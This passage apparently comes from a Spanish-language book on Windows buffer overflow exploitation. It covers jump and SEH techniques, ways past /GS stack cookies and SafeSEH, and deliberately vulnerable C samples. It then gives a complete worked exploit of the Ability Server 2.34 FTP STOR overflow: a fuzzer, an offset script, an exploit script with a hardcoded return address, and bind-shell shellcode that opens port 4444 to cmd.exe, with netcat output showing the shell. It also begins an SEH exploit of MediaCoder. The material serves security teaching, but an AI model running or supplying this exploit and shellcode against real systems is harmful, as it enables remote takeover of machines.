encontrar un "call esp" gracias a la herramienta findjump. findjmp es una utilidad que puede descargarse gratuitamente desde Internet y que no nos costará mucho de encontrar. 4. El método pop ret ¿Qué hacemos si no hay ningún registro que apunte al shellcode? Puede ser que haya alguna dirección que apunte al shellcode en la pila. Si éste es el caso, hay que desapilar hasta colocar la dirección válida en ESP. Hay que encontrar por lo tanto un "pop ret" o un "pop pop ret" o un "pop pop pop ret". Tenemos que obtener la memoria desde EIP para encontrar una dirección que apunte al shellcode y, a continuación, asignar a EIP una referencia de pop ret u otra. Esto quitará direcciones inútiles (número de pop) y permitirá después colocar la dirección útil en EIP. ¿Qué pasa si podemos controlar EIP y ningún registro apunta al shellcode, pero nuestro shellcode se encuentra en ESP+8? Debemos asignar una dirección en EIP que apunte a un pop pop ret que saltará entonces a ESP+8, donde habremos colocado un jmp esp, lo que permite saltar al shellcode que se encuentra después del jmp esp. 5. El método push return El push ret es similar al call [reg]. Si un registro apunta directamente a nuestro shellcode y si, por alguna razón, no podemos usar el jmp [reg] entonces podemos lograr nuestro exploit con este método. Hay que poner la dirección de este registro en la pila (por lo tanto, estará en la parte superior de la pila) y entonces ret cogerá esta dirección y saltará hacia ella. Debemos por lo tanto sobrescribir EIP con una dirección de un push [reg] + ret que esté en alguna DLL. 6. El método jmp [reg] + [offset] Otra técnica que podemos usar cuando el shellcode empieza en una dirección contenida en un registro con un offset (por ejemplo, contenido de ESP+8) consiste en intentar encontrar un jmp [reg+offset] y sobreescribir EIP con esta dirección. Necesitaremos tres cosas:  Encontrar el opcode, por ejemplo jmp ESP+8.  Encontrar una dirección que apunte a esta instrucción.  Sobreescribir EIP con esta dirección. 7. El método blind return Esta técnica se basa en las etapas siguientes:  Sobreescribir EIP con una dirección apuntando a una instrucción ret.  Poner la dirección física del shellcode en los cuatro primeros bytes de ESP.  Cuando se ejecute el ret, los 4 bytes que se le han asignado se quitan de la pila para ir al EIP.  Se salta por lo tanto al shellcode y éste se ejecuta. Esta técnica es útil si:  No podemos hacer que EIP apunte a la dirección de un registro directamente (imposible usar un jmp o un call).  Pero podemos controlar los datos en ESP (solamente los cuatro primeros bytes). [AAAA...AAA][@ret][@jmp esp][shellcode] [buffer+EBP][EIP] 8. ¿Qué podemos hacer con un pequeño shellcode? a. Principio ¿Qué hacer si el buffer es demasiado pequeño para albergar todo el shellcode? Imaginemos que ESP apunta a una dirección en la que sólo tenemos 50 bytes de espacio disponible, pero en cambio en ESP+100 tenemos todos el espacio necesario para albergar un shellcode. Será necesario:  Conocer la posición exacta en la que vamos a poner nuestro shellcode (después de ESP+100).  Crear un código que colocaremos en los 50 bytes disponibles y que permitirá alcanzar esta dirección.  Encontrar la dirección exacta usando genbuf.py para generar por ejemplo 1000 caracteres distintos (o la herramienta de patrón de Metasploit). b. En la práctica ¿Cómo, en un máximo de 50 bytes, podemos crear código ensamblador que nos lleve a nuestro shellcode? 100 en decimal es 64 en hexadecimal, con lo que podríamos hacer: Add esp,0x22 Add esp,0x22 Add esp,0x22 Jmp esp El programa en hexadecimal (llamémosle "salto 100"): 9. El SEH (Structured Exception Handling) a. Conceptos básicos ¿Qué es el Exception Handling? Esta porción de código, que se escribe dentro de cualquier aplicación, permite generar excepciones. try { Ejecución normal del programa, si se produce una excepción (error), va al catch } catch { Se llega aquí si hay una excepción } Windows tiene un SEH por defecto que captura las excepciones. Si Windows captura una excepción, veremos aparacer la ventana con el mensaje "the application has encountered a problem and needs to close". Podemos administrar nosotros mismos las excepciones en nuestros programas para que "no se cuelguen". Pero, si ocurre un error desconocido (desde el punto de vista del programa), el SEH Windows intervendrá. Un puntero al código del exception handler, albergado en cada stack frame creado, se guarda en la pila para cada procedimiento/función. Una estructura llamada exception_registration se guarda en la pila en el stack frame básico del exception handler. Esta estructura (SEH record) es de 8 bytes y contiene dos elementos:  Un puntero a la siguiente estructura exception_registration.  Un puntero a la dirección del código actual del exception handler (SEH Handler). Un puntero se coloca en la parte alta de la cadena de SEH (encima de la parte alta del bloque de datos de la función main llamada TEB: Thread Environment Block / TIB: Thread Information Block). Esta cadena de SEH se suele llamar la cadena FS:[0]. Desensamblando por ejemplo con Immunity Debugger encontrará una instrucción MOV DWORD PTR FS:[0],ESP (opcode: 64A100000000). b. SEH, protecciones XOR Desde Windows XP SP1, antes de la llamada al exception handler, todos los registros se ponen a cero realizando un XOR consigo mismos. Esto significa que podremos ver un registro que apunte a nuestro shellcode pero al salir de la excepción estos registros se pondrán a cero, no podremos por lo tanto saltar directamente al shellcode. DEP (Data Execution Prevention) y Stack Cookies (opción de Compilador C++) Aparecen con Windows SP2 y Windows 2003. SafeSEH Se han añadido protecciones adicionales a los compiladores, intentando evitar las reescrituras del SEH. c. XOR y SafeSEH Con estas dos protecciones, no podemos hacer un simple salto a un registro (debido al XOR de los registros). Necesitaremos una llamada a una serie de instrucciones en una DLL. Por lo tanto vamos a intentar encontrar una DLL de aplicación y no de sistema (la portabilidad es más importante) que no esté compilada con la protección SafeSEH. Si podemos sobreescribir el puntero al SEH y redirigirlo a otra excepción (que nosotros habremos forzado), seremos capaces de controlar el sistema forzando a la aplicación a saltar hasta nuestro shellcode. La serie de instrucciones será POP POP RET. El sistema operativo comprende que la rutina de la excepción ha sido ejecutada y saltará al siguiente SEH; éste intentará cargar una DLL o un ejecutable. Las fases son las siguientes:  Causar una excepción.  Sobreescribir el puntero del siguiente registro SEH con jmpcode.  Sobreescribir el SEH Handler con un puntero hacia una instrucción que nos llevará al SEH siguiente que ejecutará el jmpcode.  El shellcode tendrá que estar colocado directamente después de la sobreescritura del SEH Handler. El payload tendrá esta forma: [JUNK][nSEH][SEH][NOP+SHELLCODE] nSEH: salto al shellcode. SEH: referencia a un POP POP RET. 10. Saltarse las protecciones a. Stack cookie, protección /GS El switch /GS es una opción del compilador que añade al prólogo y al epílogo una porción de código que permite prevenir los buffer overflow ”clásicos”. Cuando arranca una aplicación, se calcula una cookie (un entero de 4 bytes) y se coloca en el .data del módulo cargado. Esta cookie es un entero sin signo que, en el prólogo, se carga en la pila justo antes de la copia de seguridad de los registros EBP y EIP. [BUFFER][COOKIE][EBP][EIP] Durante el epílogo, se compara la cookie con la cookie inicial y si ésta es distinta, se puede concluir que ha habido una corrupción y el programa termina. Por lo tanto, si intentamos provocar un buffer overflow, antes de sobreescribir EBP, sobreescribiremos la cookie, que es lo que hace que esta vulnerabilidad sea inexplotable. Otra protección generada con el switch /GS es que las variables se reorganizan, lo que implica que el buffer se colocará en las direcciones altas del frame y, por consiguiente, encima de las variables locales, impidiendo la sobreescritura de éstas. Una solución para evitar esta protección podría ser que encontráramos, recalculáramos o dedujéramos el valor de esta cookie para reemplazarla en el momento y lugar adecuados. En efecto, el valor de esta cookie raramente es un valor fijo. Esto sería demasiado fácil... También podríamos intentar reemplazar la cookie en la pila y en el segmento .data por ”nuestra cookie”, siendo posible si tenemos permisos de escritura en cualquier ubicación de la pila y en el segmento .data. Otra forma de romper esta protección es intentar generar una excepción antes de la lectura de la cookie en el epílogo. Nos encontramos entonces con un método ya visto en la sección asociada al SEH. Ésta funcionará, evidentemente, si se utiliza la protección SEH. Vamos a intentar observar el mecanismo de cookie gracias al código siguiente: #include "stdafx.h" #include "winsock.h" #include "windows.h" //load windows socket #pragma comment(lib, "wsock32.lib") //Define Return Messages #define SS_ERROR 1 #define SS_OK 0 void pr( char *str) { char buf[500]=" "; strcpy(buf,str); printf("copia del buffer\n"); } void sError(char *str) { printf("Error %s",str); WSACleanup(); } int _tmain(int argc, _TCHAR* argv[]) { WORD sockVersion; WSADATA wsaData; int rVal; char Message[5000]=" "; char buf[2000]=" "; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); //create server socket SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0); if(serverSocket == INVALID_SOCKET) { sError("Failed socket()"); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons(LocalPort); sin.sin_addr.s_addr = INADDR_ANY; //bind the socket rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rVal == SOCKET_ERROR) { sError("Failed bind()"); WSACleanup(); return SS_ERROR; } //get socket to listen rVal = listen(serverSocket, 10); if(rVal == SOCKET_ERROR) { sError("Failed listen()"); WSACleanup(); return SS_ERROR; } //wait for a client to connect SOCKET clientSocket; clientSocket = accept(serverSocket, NULL, NULL); if(clientSocket == INVALID_SOCKET) { sError("Failed accept()"); WSACleanup(); return SS_ERROR; } int bytesRecv = SOCKET_ERROR; while( bytesRecv == SOCKET_ERROR ) { //receive the data that is being sent by the client max limit to 5000 bytes. bytesRecv = recv( clientSocket, Message, 5000, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "\nConnection Closed.\n"); break; } } //Pass the data received to the function pr pr(Message); //close client socket closesocket(clientSocket); //close server socket closesocket(serverSocket); WSACleanup(); return SS_OK; } Vamos a compilar este código con las siguientes opciones (proyecto-> propiedades del proyecto). Si ahora examinamos, por ejemplo en Immunity Debugger, el código generado, vemos la cookie en la llamada a la función pr(). El prólogo se compone de:  SUB ESP,1F8: se reservan 504 bytes.  MOV EAX, DWORD PTR DS:[403000]: copia de la cookie.  XOR EAX, ESP: or exclusivo entre la cookie y ESP.  La cookie, a continuación, se guarda directamente en la pila justo debajo de la dirección de retorno. Estudiando el epílogo, podemos ver:  MOV ECX, DWORD PTR SS:[ESP+18]: se obtiene en la pila la copia de la cookie.  XOR ECX, ESP: or exclusivo.  CALL libro.bo004011D3: llamada a la función de verificación de la cookie. Si intentamos mandar 500 argumentos al puerto 200, la aplicación se cuelga. b. Ejemplo: sobrepasar la cookie Vamos a utilizar el código siguiente: #include "stdafx.h" #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) { char buffer[500]; try { strcpy(buffer,str); strcpy(out,buffer); printf("Input received: %S\n", buffer); } catch (char* strErr) { printf("No valid input received! \n"); printf("Exception: %s\n", strErr); } } int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; } Vemos en este código la función vulnerable strcpy. Compilamos el código con la opción /GS activada. Funciona con normalidad. Intentemos provocar un cuelgue de la aplicación con el siguiente script Python: script1.py import os buffer="A" * 520 os.execl(’ejemplo_cookie.exe’, buffer) Si observamos con Immunity Debugger el comportamiento del programa dándole 520 argumentos, vemos que hay una violación de acceso pero no tenemos reescritura del registro EIP. También vemos que hemos escrito en el SEH: Por lo tanto, podemos utilizar el método de la sección El SEH (Structured Exception Handling) para intentar explotar este fallo. c. SafeSEH El SafeSEH es una protección que se usa para protegerse de los exploits de SEH. Si intentamos explotar el SEH, en un cierto momento sobrescribiremos los datos del nextSEH. La protección SafeSEH comprobará toda la cadena SEH hasta 0xFFFFFFFF y verá, por tanto, si un elemento de la cadena SEH ha sido corrompido. Ya hemos hablado mucho de SEH en la sección anterior, no nos repetiremos aquí. El objetivo va a ser, en este caso, utilizar una dirección que apunte a un pop pop ret que va a estar fuera de los módulos cargados y que será estático. El inconveniente de esto es que el exploit será específico al sistema operativo (versión, pack...). Otra manera, puede ser incluso mejor, es encontrar una de las instrucciones siguientes donde nn representa el número de bytes:  call dword ptr[esp+nn]  jmp dword ptr[esp+nn]  call dword ptr[ebp+nn]  jmp dword ptr[ebp+nn]  call dword ptr[ebp-nn]  jmp dword ptr[ebp-nn] Para finalizar, podemos intentar encontrar un add esp+8 + ret que debería esquivar el SafeSEH. Podemos encontrar, gracias al plugin safeseh de Immunity Debugger, cualquiera de estos elementos que necesitemos. Hemos visto las protecciones más simples. El objetivo aquí no era ver en detalle todas las técnicas existentes, ya que sería necesario un libro entero para poder explicarlo todo. Caso real: Ability Server Para trabajar con técnicas de tipo buffer overflow, lo mejor es tener dos máquinas virtuales (usando por ejemplo virtualbox) que nos permitirán recrear la máquina víctima en local antes de realizar un ataque real. La primera máquina sera un Linux Debian y la segunda (la víctima) será un Windows. Por supuesto, la recopilación de información se deberá realizar previamente para recrear una máquina perfectamente idéntica. Hay que saber el sistema operativo utilizado, la versión exacta del software instalado que es susceptible de ser vulnerable y saber si hay algún service pack instalado. Por ejemplo, la víctima será una máquina con Windows XP, Service Pack 2 con Ability Server 2.34. Podemos encontrar este servidor FTP haciendo una búsqueda en Google. 1. Fuzzing La primera tarea que realizaremos es la de probar el software para descubrir si es susceptible de tener fallos de seguridad. Para ello, hay programas casi completos, como fusil o spike. Pero el objetivo aquí es comprender el funcionamiento de un fuzzer, así que lo que haremos será construirnos uno nosotros mismos. Podemos utilizar cualquier lenguaje de programación, hay que saber programar con sockets (conexiones remotas TCP/IP o UDP) y conocer mínimamente el protocolo que se va atacar, FTP en nuestro ejemplo. El mejor medio para conocer un protocolo es de obtener su RFC; una simple búsqueda en Google nos ayudará a conseguirlo. Según Wikipedia (traducido de la versión inglesa): "El fuzz testing o fuzzing es una técnica para probar software, a menudo automática o semiautomática, que involucra la introducción de datos inválidos, inesperados o aleatorios en las entradas de un programa de ordenador. El programa se monitoriza para comprobar si hay excepciones tales como cuelgues o presunciones fallidas en el código. El fuzzing se suele usar para comprobar problemas de seguridad en software o sistemas informáticos". Sabemos la dirección IP de la víctima (10.0.0.3) y nuestra IP será 10.0.0.2. Las máquinas virtuales están listas, podemos comenzar nuestro ataque. A continuación mostramos el programa en Python: #!/usr/bin/python import socket buffer=["A"] counter=20 while len(buffer) <= 100: buffer.append("A"*counter) counter=counter+20 commands=["MKD","CWD","STOR"] for command in commands: for string in buffer: print ”Prueba:” + command + ":" +str(len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((’10.0.0.2’,21)) s.recv(1024) s.send(’USER ftp\r\n’) s.recv(1024) s.send(’PASS ftp\r\n’) s.recv(1024) s.send(command + ’ ’ + string + ’\r\n’) s.recv(1024) s.send(’QUIT\r\n’) s.close() ¿Qué hace este programa? Para empezar creamos una lista de aAes, que van de 20 en 20, que nos servirá para los argumentos que usaremos más adelante. Pondremos estos argumentos detrás de tres comandos que admiten argumentos: MKD, CWD, STOR. Ahora sólo nos falta enviar estos comandos. Creamos un socket y nos conectamos al servidor. Tenemos que identificarnos. Por supuesto, el servidor tendrá acceso restringido. Usaremos el login ftp y la contraseña ftp. Enviamos por lo tanto un USER ftp y a continuación un PASS ftp, para continuar con el resto de comandos con nuestros argumentos. Por último, cerramos el socket. Vemos en la captura de pantalla que el fuzzer envía los comandos hasta el servidor ftp y que el fuzzer se detiene con 960 argumentos con el comando STOR. Podríamos ahora volver a editar el programa afinando el envío de argumentos (por ejemplo con incrementos de 1 A de 930 a 990 argumentos con el comando STOR únicamente). Por lo tanto, acabamos de ver que el concepto de fuzzer es bastante sencillo. Ahora nos falta explotar este fallo. 2. Exploit Tenemos que saber cuáles son los 4 bytes que van a sobreescribir el campo EIP. Para ello, vamos a intentar enviar argumentos para conocer exactamente el número de bytes necesarios para sobreescribir EIP. A continuación se muestra el programa Python que nos ayudará en esta tarea: import sys import string def uso(): print "Uso: ", sys.argv[0], " <número> [string]" print " <número> es el tamaño del buffer que se generará." print " [string] cadena de caracteres opcional que se buscará en el buffer." print "" print " Si se halla [string], el buffer no se mostrará, sino sólo su posición" print " donde empieza la cadena de caracteres en el buffer. ¡Esta búsqueda es sensible a mayúsculas y minúsculas!" sys.exit() try: dummy = int(sys.argv[1]) except: uso() if len(sys.argv) > 3: uso if len(sys.argv) == 3: search = "TRUE" searchstr = sys.argv[2] else: search = "FALSE" stop = int(sys.argv[1]) / 3 + 1 patend = int(sys.argv[1]) patrange = range(0,stop,1) first = 65 second = 97 third = 0 item = "" Ejecutando el programa obtenemos: BT ~ # genbuf.pl 2000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac 1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A e3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4 Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai 6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7A k8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9 An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap 1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2A r3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4 At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av 6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7A x8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9 Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc 1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2B e3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2B3Bg4B g5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6 Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk 8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9B n0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1 Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br 3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4B t5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6 Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx 8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9C a0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1 Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce 3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4C g5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6 Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck 8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9C n0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co Si se inyecta ahora esto con nuestro fuzzer (se reemplazan las A por los 2000 caracteres anteriores) encontramos \x42\67\x32\x42, que en ASCII es B2gB. Hay que encontrar estos cuatro bytes y contar el número de caracteres que hay antes de llegar a esta cadena (con un pequeño script Python o wc en Bash...). EIP se sobreescribe del carácter 966º al carácter 970º. Ahora podemos comprobar nuestra teoría: #!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = ’\x41’ * 966 + ’\x42’ * 4 + ’\x43’ * 1030 s.connect((’10.0.0.2’,21)) data = s.recv(1024) s.send(’USER ftp’ +’\r\n’) data = s.recv(1024) s.send(’PASS ftp’ +’\r\n’) data = s.recv(1024) s.send(’STOR ’ +buffer+’\r\n’) s.close() Ahora sabemos exactamente cómo controlar EIP. Miremos si tenemos suficiente espacio para insertar un shellcode. D6BA98 - D6B6D8 = 960 (en decimal), por lo tanto tenemos 960 bytes para insertar nuestro shellcode, que es un espacio lo suficientemente amplio. Ahora tenemos que reemplazar lo que hay en EIP, es decir, \x42\x42\x42\x42 por una dirección válida. A continuación nos faltará colocar nuestro shellcode. Deberíamos colocar en EIP la dirección apuntando a ESP, lo cual funcionaría en local pero no en nuestro caso. Necesitaremos encontrar algún medio para apuntar a un jmp esp. Para encontrar esta dirección válida, vamos a usar ollydbg y buscar en una DLL cargada por el programa un jmp esp. Encontramos USER32.dll y SHELL32.dll Haciendo doble clic con el ratón en SHELL32 obtendremos el código ensamblador de esta DLL. Ahora podemos buscar un comando en este código: Encontramos una dirección (7CA68265) con un jmp esp. Esta dirección puede ser distinta en su equipo. Podemos entonces reemplazar: buffer = ’\x41’ * 966 + ’\x42’ * 4 + ’\x43’ * 1030 por: buffer = ’\x41’ * 966 + ’\x65\x82\xA6\x7C’ + ’\x90’ * 16 + ’\xCC’ *1014 Podemos añadir nuestro shellcode: shellcode =("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\ x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0") Este shellcode se puede encontrar por Internet. Abre, mediante netcat, el puerto 4444 y redirige cmd.exe a este puerto. Ahora podemos modificar nuestra línea de buffer: buffer = ’\x41’ * 966 + ’\x65\x82\xA6\x7C’ + ’\x90’ * 16 + shellcode Ya podemos ejecutar el shellcode para conectarnos al puerto 4444 de la víctima. nauar@tulkass:~$ nc -v 10.0.0.2 4444 10.0.0.3: inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.2] 4444 (krb524) open Microsoft Windows XP [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\abilitywebserver> Tenemos acceso a Windows, hemos aplicado el exploit con éxito. El ejemplo que acabamos de ver es muy conocido en la red, pero este caso concreto permite comprender los fundamentos en los que se basan los buffer overflows. Caso real: MediaCoder-0.7.5.4796 El software usado en este ejemplo es MediaCoder-0.7.5.4796, que se puede descargar en la dirección siguiente: http://www.videohelp.com/tools/MediaCoder/old-versions Podemos, por supuesto, entrenarnos con este software ya que el fallo explotado ha sido publicado: http://www.exploit-db.com/exploits/15663/. 1. Cuelgue del software Vamos a intentar que este programa "se cuelgue". Para ello, vamos a diseñar un pequeño programa en Python que creará el archivo crash.m3u. Abrimos este archivo con MediaCoder, que a su vez estará incluido en Immunity Debugger. obArchivo = open(’crash.m3u’,’w’) obArchivo.write("A"*2000) obArchivo.close() Las 2000 "A" se han puesto al azar, lo que queremos es saber exactamente cuándo se sobreescriben el SEH y el nextSEH. Podemos ver qué es lo que pasa con el SEH: View - SEH chain. Vemos que SEH se ha sobreescrito con 41414141. Continuamos nuestra exploración reemplazando las A por 2000 caracteres que, tomados de cuatro en cuatro, nunca son idénticos. Para ello usaremos genbuf.py, cuyo código es el siguiente: #!/usr/bin/env python import sys import string def uso(): print "Uso: ", sys.argv[0], " <número> [string]" print " <número> es el tamaño del buffer que se generará." print " [string] cadena de caracteres opcional que se buscará en el buffer." print "" print " Si se halla [string], el buffer no se mostrará, sino sólo su posición" print " donde empieza la cadena de caracteres en el buffer. ¡Esta búsqueda es sensible a mayúsculas y minúsculas!" sys.exit() try: dummy = int(sys.argv[1]) except: uso() if len(sys.argv) > 3: uso if len(sys.argv) == 3: search = "TRUE" searchstr = sys.argv[2] else: search = "FALSE" stop = int(sys.argv[1]) / 3 + 1 patend = int(sys.argv[1]) patrange = range(0,stop,1) first = 65 second = 97 third = 0 item = "" for i in patrange: reset_first = "FALSE" reset_second = "FALSE" if third == 10: third = 0 second += 1 if second == 123: first +=1 reset_second = "TRUE" if first == 92: reset_first = "TRUE" item += chr(first) item += chr(second) item += str(third) third += 1 if reset_first == "TRUE": first = 65 if reset_second == "TRUE": second = 97 if search != "TRUE": sys.stdout.write(item[0:patend]) else: location = item.find(searchstr) if location == -1: print sys.argv[2] + " not found in buffer." sys.exit() print location A continuación vamos a reemplazar las 2000 "A" por los siguientes caracteres: Genbuf= ’’Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7A b8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9 Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag 1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A i3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4 Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am 6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7A o8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9 Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At 1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4 Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az 6Az7Az8Az9B{0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7B 